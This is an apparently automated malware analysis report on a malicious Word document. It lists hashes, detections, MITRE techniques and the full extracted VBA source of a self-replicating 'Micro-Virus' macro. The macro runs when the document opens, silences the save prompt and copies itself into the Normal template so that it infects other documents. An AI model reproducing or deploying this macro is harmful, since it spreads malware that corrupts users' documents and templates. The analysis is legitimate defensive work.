Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 91dbf46d288a4a06…

MALICIOUS

Office (OLE)

309.5 KB Created: 2018-11-15 11:14:00 Authoring application: Microsoft Office Word First seen: 2019-10-01
MD5: a415aac349d2bbdc803c93c73729c311 SHA-1: a6ad0cb47d71abc104db574ccf7ec69d993e3290 SHA-256: 91dbf46d288a4a069d8824342af88f109c9fc85504d22c18dade96ac3ad619d7
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a Microsoft Office document containing a VBA macro. The macro is triggered by the Document_Open event and attempts to modify the Normal.dot template. This behavior suggests an attempt to establish persistence or infect other documents. The heuristic firings and the macro's logic strongly indicate malicious intent, though the specific payload or ultimate goal is not clear from the provided evidence.

Heuristics 4

  • ClamAV: Doc.Macro.MicroVirus-6097260-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.MicroVirus-6097260-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1668 bytes
SHA-256: 33481284d64f2e1e20e6bc95831acbbc8c85f556bd332dc711539c2a76db942f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Micro-Virus
Sub Document_Open()
On Error Resume Next
Application.DisplayStatusBar = False
'MsgBox "DisplayStatusBar = False"

Options.SaveNormalPrompt = False


OurCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100)
'MsgBox "Ourcode"

'get normal
Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule


'if normal, set active;
If ThisDocument = NormalTemplate Then
'    MsgBox "ThisDocument = NormalTemplate"
    
    Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
'    MsgBox "Set Host = ActiveDocument"
End If

With Host
    If .Lines(1, 1) <> "'Micro-Virus" Then
    
        .DeleteLines 1, .CountOfLines
  '      MsgBox "DeleteLines 1, .CountOfLines"
        
        .InsertLines 1, OurCode
        
        .ReplaceLine 2, "Sub Document_Close()"
    '    MsgBox "ReplaceLine 2,Close()"
       
         If ThisDocument = NormalTemplate Then
     '        MsgBox "ThisDocument = NormalTemplate"
             
             .ReplaceLine 2, "Sub Document_Open()"
      '       MsgBox "ReplaceLine 2,Open()"
             
              ActiveDocument.SaveAs ActiveDocument.FullName
       '     MsgBox "ActiveDocument.SaveAs"
            
         End If
    End If
End With
End Sub

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